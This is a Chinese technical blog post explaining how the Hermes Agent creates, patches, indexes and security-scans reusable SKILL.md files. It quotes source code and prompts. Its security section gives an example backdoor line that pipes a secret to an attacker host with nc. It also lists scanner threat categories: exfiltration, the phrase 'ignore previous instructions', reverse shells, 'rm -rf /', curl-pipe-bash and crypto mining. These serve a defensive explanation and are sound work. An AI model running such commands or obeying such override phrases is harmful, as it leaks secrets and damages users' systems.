原文连接:Hermes Agent 07 | 技能系统:Agent 如何从经验中创建可复用的技能
知识告诉你世界是什么样的,技能告诉你遇到问题该怎么办。
记忆 vs 技能:一张表说清区别
先把两套系统的定位摆清楚:
| 维度 | 记忆(MEMORY.md / USER.md) | 技能(SKILL.md) |
|---|---|---|
| 存什么 | 事实------环境、偏好、约定 | 方法------步骤、命令、决策树 |
| 粒度 | 一条几十字符的条目 | 一个完整的操作手册(数百到数千字) |
| 注入方式 | 冻结快照进系统提示词 | 按需加载进系统提示词的索引 |
| 生命周期 | Agent 主动策展,空间有限 | 持久化为文件,无上限 |
| 改良方式 | replace / remove | patch 优先于 rewrite |
| 触发类型 | 用户轮次计数(turn-based) | 主循环 / LLM 迭代计数(iteration-based) |
tools/skill_manager_tool.py 的模块文档说得很清楚(第 12-13 行):
Skills are the agent's procedural memory: they capture *how to do a specific
type of task* based on proven experience. General memory (MEMORY.md, USER.md) is
broad and declarative. Skills are narrow and actionable.
声明性 vs 过程性------这是两套系统的根本分野。
SKILL.md 文件格式:YAML 前置 + Markdown 正文
一个真实的 SKILL.md 长这样(来自 optional-skills/research/parallel-cli/SKILL.md):
---
name: parallel-cli
description: Optional vendor skill for Parallel CLI --- agent-native web search, extraction, deep research, enrichment.
version: 1.1.0
author: Hermes Agent
license: MIT
metadata:
hermes:
tags: [Research, Web, Search, Deep-Research]
related_skills: [duckduckgo-search, mcporter]
---
# Parallel CLI
Use `parallel-cli` when the user explicitly wants Parallel, or when a terminal-native
workflow would benefit from Parallel's vendor-specific stack...
## When to use it
Prefer this skill when:
- The user explicitly mentions Parallel or `parallel-cli`
- The task needs richer workflows than a simple one-shot search/extract pass
...
## Installation
```bash
brew install parallel-web/tap/parallel-cli
...
### 前置元数据
YAML 前置区(`---` 之间的部分)有两个必填字段和多个可选字段:
| 字段 | 必填? | 说明 |
| --- | --- | --- |
| `name` | 是 | 技能标识符,最长 64 字符,小写+连字符+下划线 |
| `description` | 是 | 简短描述,最长 1024 字符 |
| `version` | 否 | 语义版本号 |
| `author` | 否 | 作者 |
| `license` | 否 | 许可协议 |
| `platforms` | 否 | 平台限制列表:`[macos, linux, windows]` |
| `metadata.hermes.tags` | 否 | 分类标签 |
| `metadata.hermes.related_skills` | 否 | 相关技能交叉引用 |
| `metadata.hermes.fallback_for_toolsets` | 否 | 条件激活规则 |
| `prerequisites.commands` | 否 | 兼容旧格式的命令依赖声明,当前更偏 advisory metadata |
| `required_environment_variables` | 否 | 需要的环境变量 |
这里有个实现细节要说清:`required_environment_variables` 在当前源码里是**活的运行时约束**,`skill_view()` 会检查缺失项并给出 setup 提示;而 `prerequisites.commands` 虽然会被解析,但还没有落到命令探测和 readiness 校验上。**不要把这两个字段当成同一成熟度的能力。**
### Markdown 正文
前置区之后是 Markdown 正文,通常包含:
1. **什么时候用这个技能**------触发条件
2. **具体步骤**------编号列表,带精确命令
3. **常见坑位**------踩过的坑和规避方法
4. **验证步骤**------怎么确认做对了
`SKILL_MANAGE_SCHEMA` 的 description(`skill_manager_tool.py:699-700`)明确告诉模型什么是好技能:
```plaintext
Good skills: trigger conditions, numbered steps with exact commands,
pitfalls section, verification steps.
这不是给人写的文档模板------这是给模型写的 prompt engineering。 模型会按这个指导来生成 SKILL.md 的结构。
技能创建的触发:不是每轮都想创建,而是"做了足够多的事"才回头看
关键区别:iteration-based,不是 turn-based
上一讲说过,记忆的 nudge 是用户轮次 计数------用户发了 10 条消息就触发一次 review。技能的 nudge 完全不同------它是主循环 / LLM 迭代计数。
为什么?因为只有复杂任务才值得沉淀成技能 。简单对话("帮我看一下这个文件")可能 2 轮就完事,根本不该触发技能 review。而一个涉及调试、重试、修改策略的复杂任务,可能一轮用户消息里走了很多轮"模型思考 → 调工具 → 再思考"的闭环。主循环迭代数比用户轮次数更能反映任务复杂度。
触发逻辑
两个关键常量(run_agent.py:1292-1414):
self._iters_since_skill = 0 # 主循环 / LLM 迭代计数器
self._skill_nudge_interval = 10 # 每 10 次迭代触发一次 review
_skill_nudge_interval 可通过 config.yaml 覆盖:
self._skill_nudge_interval = skills_config.get("creation_nudge_interval", 10)
计数器在主循环里、每次准备发起模型调用前 递增(run_agent.py:9064-9066):
if (self._skill_nudge_interval > 0
and "skill_manage" in self.valid_tool_names):
self._iters_since_skill += 1
检查在这一轮主循环结束后 进行(run_agent.py:11777-11783):
_should_review_skills = False
if (self._skill_nudge_interval > 0
and self._iters_since_skill >= self._skill_nudge_interval
and "skill_manage" in self.valid_tool_names):
_should_review_skills = True
self._iters_since_skill = 0
一个容易忽略的细节:当 Agent 真正调用了 **skill_manage** 工具时,计数器会被重置为 0 (run_agent.py:7823、8143)------因为 Agent 已经在主动管理技能了,不需要 nudge 再提醒它。
计数器跨 turn 持久化
run_agent.py:8745-8747 有一条重要注释:
# NOTE: _turns_since_memory and _iters_since_skill are NOT reset here.
# They are initialized in __init__ and must persist across run_conversation
# calls so that nudge logic accumulates correctly in CLI mode.
在 CLI 的多轮交互中,每次 run_conversation() 不会重置这些计数器。一个 10 轮的 CLI session,如果前 3 轮各用了 3 次主循环迭代(共 9 次),第 4 轮第一次迭代就会达到 10 的阈值触发 review。
两种 nudge 的对比
| 记忆 nudge | 技能 nudge | |
|---|---|---|
| 计数对象 | 用户消息轮次 | 主循环 / LLM 迭代 |
| 递增位置 | run_conversation() 入口(run_agent.py:8784) |
主循环体内(run_agent.py:9066) |
| 检查位置 | 同上(入口处递增并检查) | 主循环结束后(run_agent.py:11779) |
| 默认间隔 | 10 轮 | 10 次迭代 |
| 重置条件 | 触发 review / 手动调 memory 工具 | 触发 review / 手动调 skill_manage 工具 |
| 配置路径 | memory.nudge_interval |
skills.creation_nudge_interval |
要特别注意:这里不是"一个 tool call 算一次" 。如果某次 assistant 响应里并发执行了多个工具,这一轮对 _iters_since_skill 仍然只加 1,因为它统计的是 agent 的推理轮次,而不是原子工具数。
这个设计的含金量:记忆关注"用户说了什么"(信息输入密度),技能关注"Agent 经历了多少轮推理与执行闭环"(执行复杂度)。两种不同维度的信号,驱动两种不同类型的学习。
后台审查:_SKILL_REVIEW_PROMPT 怎么引导 Agent 创建技能
当 skill nudge 触发后,_spawn_background_review() 会 fork 一个静默的 AIAgent(上一讲已经拆过它的机制),传入 _SKILL_REVIEW_PROMPT(run_agent.py:2434-2442):
_SKILL_REVIEW_PROMPT = (
"Review the conversation above and consider saving or updating a skill if appropriate.\n\n"
"Focus on: was a non-trivial approach used to complete a task that required trial "
"and error, or changing course due to experiential findings along the way, or did "
"the user expect or desire a different method or outcome?\n\n"
"If a relevant skill already exists, update it with what you learned. "
"Otherwise, create a new skill if the approach is reusable.\n"
"If nothing is worth saving, just say 'Nothing to save.' and stop."
)
这段 prompt 的设计很讲究。它引导 review Agent 关注三个信号:
-
试错过程------"required trial and error"
-
策略转变------"changing course due to experiential findings"
-
用户期望偏差------"the user expect or desire a different method"
这三个信号的共同特征是:任务不是一帆风顺的 。如果一个任务一步到位完成了,没有试错、没有调整------那它不需要变成技能,因为现有能力已经够用了。只有经历了挫折和调整的任务,才值得沉淀方法论。
当 memory 和 skill 同时需要 review 时,用 _COMBINED_REVIEW_PROMPT(run_agent.py:2444-2456)一次性处理,避免 fork 两个 Agent:
_COMBINED_REVIEW_PROMPT = (
"Review the conversation above and consider two things:\n\n"
"**Memory**: Has the user revealed things about themselves --- their persona, "
"desires, preferences, or personal details? ...\n\n"
"**Skills**: Was a non-trivial approach used to complete a task ...?\n\n"
"Only act if there's something genuinely worth saving. "
"If nothing stands out, just say 'Nothing to save.' and stop."
)
技能管理工具三件套:渐进式暴露
Hermes Agent 的技能管理分布在两个文件的三个工具里,构成一个渐进式暴露的层次:
| 工具 | 文件 | 职责 | 模型何时用 |
|---|---|---|---|
skills_list |
tools/skills_tool.py |
列出本地/外部目录中可见技能的元数据摘要 | 需要知道"有哪些技能" |
skill_view |
tools/skills_tool.py |
加载某个技能的完整内容 | 需要执行某个技能 |
skill_manage |
tools/skill_manager_tool.py |
创建 / 补丁 / 重写 / 删除技能 | 需要改变技能 |
为什么分成三个工具而不是一个
因为绝大多数场景下,Agent 只需要列出或加载技能,不需要修改它们。如果把 create/patch/delete 的 schema 和 list/view 混在同一个工具里,模型每次调用都要面对一个参数很多的 schema,增加误调用的概率。
分离后,skills_list 和 skill_view 的 schema 很简洁(几乎不需要参数),skill_manage 的 schema 复杂但调用频率很低。工具的 schema 复杂度应该和使用频率成反比。
这里还要补一个源码层面的边界:skills_list() 扫描的是本地 SKILLS_DIR 和 skills.external_dirs 里的可见技能,并会过滤 disabled skills;插件技能走的是 skill_view("plugin:skill") 这条限定名分发路径,不在 skills_list() 的枚举结果里。
skill_manage 的六个动作
skill_manage 支持六种操作(skill_manager_tool.py:707):
"enum": ["create", "patch", "edit", "delete", "write_file", "remove_file"]
| 动作 | 用途 | 必要参数 |
|---|---|---|
create |
创建新技能 | name + content(完整 SKILL.md) |
patch |
精准替换技能中的某段内容 | name + old_string + new_string |
edit |
完整重写 SKILL.md | name + content |
delete |
删除技能 | name |
write_file |
添加/覆盖辅助文件 | name + file_path + file_content |
remove_file |
移除辅助文件 | name + file_path |
补丁优先于重写:技能系统的核心哲学
这是技能系统最值得深入的设计决策。
为什么不直接 edit
SKILL_MANAGE_SCHEMA 的描述(skill_manager_tool.py:687-696)明确偏向 patch:
Actions: create (full SKILL.md + optional category),
patch (old_string/new_string --- preferred for fixes),
edit (full SKILL.md rewrite --- major overhauls only)
...
If you used a skill and hit issues not covered by it, patch it immediately.
"preferred for fixes"和"immediately" ------两个关键词。
为什么 patch 优于 edit?三个原因:
1. Token 效率。 一个 2000 字符的 SKILL.md,edit 需要模型输出完整的 2000 字符(即使只改了一行)。patch 只需要输出 old_string + new_string------可能只有 100 字符。Token 节省 95%。
2. 信息保真。 edit 是全量替换------模型需要"复制"整个文件再改。复制过程中很容易丢失细节、格式变化、无意中删除某个段落。patch 只动你指定的部分,其余内容纹丝不动。
3. 安全回滚。 _patch_skill() 在写入前保留原始内容(skill_manager_tool.py:473-480):
original_content = content # for rollback
_atomic_write_text(target, new_content)
# Security scan --- roll back on block
scan_error = _security_scan_skill(skill_dir)
if scan_error:
_atomic_write_text(target, original_content)
return {"success": False, "error": scan_error}
如果 patch 后的内容触发了安全扫描,自动回滚到原始版本。edit 也有同样的回滚机制,但 patch 的"改动范围小"天然降低了触发安全扫描的概率。
模糊匹配:容忍模型的"不精确"
patch 的另一个工程亮点是模糊匹配 。模型生成的 old_string 经常有微小偏差------多一个空格、少一个缩进、转义字符不对。如果用严格的字符串匹配,大量 patch 会因为"找不到完全匹配"而失败。
_patch_skill() 使用 tools/fuzzy_match.py 的 fuzzy_find_and_replace()(skill_manager_tool.py:444-448):
from tools.fuzzy_match import fuzzy_find_and_replace
new_content, match_count, _strategy, match_error = fuzzy_find_and_replace(
content, old_string, new_string, replace_all
)
这个引擎处理空白归一化、缩进差异、转义序列、块锚点匹配------让 Agent 不至于因为微小的格式不匹配就 patch 失败。
patch 匹配失败时,还会返回文件前 500 字符的预览 (skill_manager_tool.py:450-456),让模型能自我纠正。
技能的目录结构与组织
技能文件存储在 ~/.hermes/skills/ 下(skill_manager_tool.py:22-32):
~/.hermes/skills/
├── my-skill/
│ ├── SKILL.md # 主文件(必需)
│ ├── references/ # 参考文档
│ │ └── api.md
│ ├── templates/ # 输出模板
│ │ └── template.md
│ ├── scripts/ # 可执行脚本
│ │ └── validate.py
│ └── assets/ # 其他资源
│ └── config.yaml
└── category-name/ # 分类目录
└── another-skill/
└── SKILL.md
SKILL.md 是唯一必需的文件。 但复杂的技能可以通过 write_file 动作添加辅助文件------参考文档、模板、脚本、资源。这些文件存储在四个约定的子目录下(skill_manager_tool.py:104):
ALLOWED_SUBDIRS = {"references", "templates", "scripts", "assets"}
只允许这四个子目录------防止路径穿越攻击。
技能索引:冷启动优化
agent/prompt_builder.py 在构建系统提示词时会扫描技能目录,生成一个技能索引 注入系统提示词。索引不是每轮都重新构建------它使用一套 manifest + LRU 缓存 + 磁盘快照的三级缓存策略(prompt_builder.py:428-527):
-
内存 LRU 缓存(最多 8 条,线程安全)
-
磁盘快照 (
~/.hermes/.skills_prompt_snapshot.json)------冷启动时直接加载,避免扫描目录 -
Manifest 校验------每个 SKILL.md 的 mtime + size 作为指纹,指纹变了才重新解析
但这里不能简单理解成"改完技能,当前 Agent 下一轮 API 调用就能看到更新"。因为 run_agent.py 还有一层更高的 session 级缓存:_build_system_prompt() 会把完整系统提示词缓存到 self._cached_system_prompt,通常只在新 session 或context compression 之后才重建。
skill_manage() 成功后确实会清掉 skills index 的缓存和磁盘快照,所以下一次 system prompt rebuild 时一定会看到新技能;但这最常见发生在下一个 session,压缩续接 session 也可能发生,并不是"当前会话里下一次 API 调用必然看到"。
条件激活
不是所有技能都会出现在索引里。prompt_builder.py 的 _skill_should_show() 会根据 fallback_for_toolsets、requires_toolsets 等条件判断一个技能是否应该在当前场景下激活。比如 duckduckgo-search 技能标记了 fallback_for_toolsets: [web]------只有当 web_search 工具不可用时(没配 API Key),这个技能才会浮现为替代方案。
四级信任等级:当 Agent 能写代码,安全就是第一优先级
技能系统最容易被低估的部分是安全。
Agent 自动生成的 SKILL.md 是可被注入系统提示词的文本 。如果一个被诱导的 Agent 写了一个包含 curl $SECRET | nc evil.com 4444 的技能,这个后门会在每次加载该技能时执行------从一次性攻击变成持久性攻击。
INSTALL_POLICY 表
tools/skills_guard.py:41-49 定义了四级信任策略:
INSTALL_POLICY = {
# safe caution dangerous
"builtin": ("allow", "allow", "allow"),
"trusted": ("allow", "allow", "block"),
"community": ("allow", "block", "block"),
"agent-created": ("allow", "allow", "ask"),
}
翻译成人话:
| 信任等级 | 来源 | 安全 → 允许 | 注意 → ? | 危险 → ? |
|---|---|---|---|---|
builtin |
Hermes Agent 自带 | 允许 | 允许 | 允许 |
trusted |
openai/skills 、anthropics/skills |
允许 | 允许 | 拒绝 |
community |
其他来源 | 允许 | 拒绝 | 拒绝 |
agent-created |
Agent 运行时创建 | 允许 | 允许 | 需确认 |
agent-created 的"dangerous → ask"非常巧妙。 它不是直接拒绝------而是标记为需要用户确认。为什么?因为 Agent 创建的内容可能包含看起来像后门但实际上是合法操作的命令(比如一个部署脚本确实需要 SSH 到远程服务器)。但在 skill_manager_tool.py:66-71 的实际实现中,当前版本把 ask 也当作 block 处理------因为后台 review Agent 运行时用户不在交互循环里,无法真正"ask"。
120 条威胁正则
扫描器的核心是 THREAT_PATTERNS 数组------120 条正则,覆盖 12 大类威胁:
| 类别 | 示例 | 严重度 |
|---|---|---|
| exfiltration | curl.*$KEY 、DNS exfil、markdown image 泄露 |
critical |
| injection | ignore previous instructions 、role hijack |
critical |
| destructive | rm -rf / 、mkfs、chmod 777 |
critical |
| persistence | crontab 注入、.bashrc 修改、systemd service | high |
| network | reverse shell、tunneling service、hardcoded IP | critical |
| obfuscation | base64 decode pipe、hex string、eval/exec | high |
| execution | subprocess、os.system、child_process | medium |
| traversal | ../ 路径穿越、/etc/passwd |
high |
| mining | xmrig、stratum+tcp、monero | high |
| supply_chain | `curl | bash`、unpinned pip/npm |
| privilege_escalation | sudo、setuid、NOPASSWD | high |
| credential_exposure | hardcoded secret、private key | critical |
还有 17 种不可见 Unicode 字符检测(零宽空格、bidi override 等)------防止视觉隐藏的注入。
每次写入都扫描
不只是安装时扫描------每次 create、edit、patch 都会扫描。 _security_scan_skill()(skill_manager_tool.py:56-74)在每次写入后立刻运行:
def _security_scan_skill(skill_dir: Path) -> Optional[str]:
if not _GUARD_AVAILABLE:
return None
result = scan_skill(skill_dir, source="agent-created")
allowed, reason = should_allow_install(result)
if allowed is False:
report = format_scan_report(result)
return f"Security scan blocked this skill ({reason}):\n{report}"
if allowed is None:
# "ask" verdict --- block in automated context
report = format_scan_report(result)
return f"Security scan blocked this skill ({reason}):\n{report}"
return None
扫描失败→自动回滚→返回错误。Agent 永远无法绕过扫描器写入一个包含已知威胁模式的技能。
技能在系统提示词中怎么呈现
技能和记忆一样,最终都要注入系统提示词。但注入方式不同。
记忆是全量注入 ------MEMORY.md 的所有条目都在系统提示词里。技能是索引注入 ------系统提示词里只有技能名字和一句话描述,Agent 需要用 skill_view 工具加载完整内容后才能按步骤执行。
为什么不把所有技能全文注入?因为技能文件可以很大------一个技能可能有 5000 字符。如果用户有 20 个技能,全量注入就是 100,000 字符进系统提示词,不现实。
prompt_builder.py:164-171 的 SKILLS_GUIDANCE 告诉 Agent 怎么使用技能索引:
SKILLS_GUIDANCE = (
"After completing a complex task (5+ tool calls), fixing a tricky error, "
"or discovering a non-trivial workflow, save the approach as a "
"skill with skill_manage so you can reuse it next time.\n"
"When using a skill and finding it outdated, incomplete, or wrong, "
"patch it immediately with skill_manage(action='patch') --- don't wait to be asked. "
"Skills that aren't maintained become liabilities."
)
最后一句话是整个技能系统哲学的浓缩:"Skills that aren't maintained become liabilities." 过时的技能比没有技能更糟------因为 Agent 会按错误的步骤执行。所以 Hermes Agent 不只是鼓励创建技能,更鼓励立即更新遇到问题的技能。
实战:手动创建一个高质量 SKILL.md
场景
你经常需要把 Python 项目从 setup.py 迁移到 pyproject.toml。每次都要手动做一遍。我们创建一个技能让 Agent 以后自动完成。
第一步:创建技能文件
在 CLI 里告诉 Agent:
请创建一个技能:把 Python 项目从 setup.py 迁移到 pyproject.toml。
包含具体的迁移步骤、常见坑位、验证方法。
Agent 会调用 skill_manage(action="create", name="setup-to-pyproject", content="...")。
你也可以手动创建------在 ~/.hermes/skills/ 下新建目录并写 SKILL.md:
---
name: setup-to-pyproject
description: Migrate a Python project from setup.py/setup.cfg to pyproject.toml with hatchling or setuptools backend.
version: 1.0.0
author: your-name
license: MIT
metadata:
hermes:
tags: [python, packaging, migration]
---
# Setup.py to pyproject.toml Migration
## When to Use
When a Python project has `setup.py` and/or `setup.cfg` but no `pyproject.toml`,
and the user wants to modernize the packaging.
## Steps
1. Read `setup.py` and `setup.cfg` to extract: name, version, description,
author, dependencies, extras, entry_points, package_data
2. Choose build backend:
- If project uses only standard setuptools features → `hatchling`
- If project has C extensions or complex build steps → `setuptools` backend
3. Create `pyproject.toml` with `[build-system]`, `[project]`, and optional
`[project.optional-dependencies]`
4. Migrate entry_points to `[project.scripts]` or `[project.gui-scripts]`
5. If `MANIFEST.in` exists, convert to `[tool.setuptools.package-data]`
6. Remove `setup.py`, `setup.cfg` (keep backup until tests pass)
7. Run `pip install -e ".[dev]"` to verify
## Pitfalls
- `find_packages()` → use `[tool.setuptools.packages.find]` with explicit `where`
- `package_data` with glob patterns → double-check `**/*.json` syntax
- `install_requires` with version pinning → use `>=` not `==` in pyproject.toml
- Some CI systems cache `setup.py` paths --- update CI config
## Verification
```bash
pip install -e ".[dev]"
python -c "import your_package; print(your_package.__version__)"
pip install build && python -m build
### 第二步:验证技能被索引
```bash
hermes chat -q "你有哪些可用的技能?"
Agent 会调用 skills_list(),你应该能看到 setup-to-pyproject 出现在列表里。
第三步:使用技能
开一个新 session,随便找一个有 setup.py 的项目:
帮我把这个项目迁移到 pyproject.toml
Agent 会先 skills_list() 看到相关技能,再 skill_view(name="setup-to-pyproject") 加载完整内容,然后按步骤执行。
第四步:改良技能
如果迁移过程中遇到了新坑(比如 data_files 的处理),Agent 会在 skill nudge 触发时自动 patch 这个技能------在 Pitfalls 里加上新发现的坑。下次再做同类迁移,这个坑就不会再踩。
这就是"从经验中学习"的完整循环:执行 → 踩坑 → 沉淀 → 改良 → 下次更好。